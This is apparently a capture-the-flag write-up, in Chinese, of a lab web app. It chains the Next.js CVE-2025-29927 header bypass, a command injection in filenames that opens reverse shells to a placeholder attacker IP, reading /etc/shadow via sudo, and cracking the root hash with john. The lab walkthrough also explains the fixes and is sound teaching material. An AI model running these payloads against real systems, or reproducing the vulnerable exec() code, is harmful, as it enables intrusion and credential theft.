夺旗挑战:CVE-2025-29927 与命令注入漏洞的组合
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard 页面重定向到 /login。你能在登录页面上找到任何允许你绕过重定向的信息吗?
— — —
x-middleware-subrequest 头来完全绕过中间件保护。Next.js 内部使用此头来防止无限中间件循环。当处理请求时,runMiddleware 函数检查请求头:
x-middleware-subrequest
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
通过使用这个头,我们告诉中间件:"这已经是中间件生成的请求——不要再执行中间件。"
x-middleware-subrequest 头。该头仅在 Next.js 运行时内部合法中间件链创建时才可信。具体来说,x-middleware-subrequest 值现在会针对随机生成的十六进制字符串进行验证,确保只有合法的内部会话请求通过授权检查。因此,即使攻击者发送了该头,Next.js 现在也能区分真实的内部子请求(携带正确随机生成的令牌)和外部攻击者伪造的请求。
— — —
const filename = file.name; // VULNERABLE: No sanitization!
const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
const filepath = join(uploadsDir, sanitizedFilename);
await writeFile(filepath, buffer);
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => {
exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => {
...
原始文件名由用户控制,可能包含恶意字符。开发者移除了一些危险字符(黑名单而非白名单)。convert 命令使用 exec() 执行,原始文件名(用户输入)直接插入到 shell 命令中。一种修复方法是使用随机生成的文件名替代用户文件名,并使用避免 shell 的安全 API。
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
恶意文件名:
image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
kali@kali:~$ nc -lvnp 4000
listening on [any] 4000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
flag 位于 /home/webuser:
FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}
gzip -d /usr/share/wordlists/rockyou.txt.gz 解压文件 rockyou.txt.gz。
— — —
target@target:~$ sudo -l
Matching Defaults entries for webuser on photoresizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User webuser may run the following commands on photoresizer:
(ALL) NOPASSWD: /usr/bin/cat /etc/shadow
target@target:~$ sudo cat /etc/shadow
root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
rockyou (root)
1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
target@target:~$ su - root
flag 位于 /root:
FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}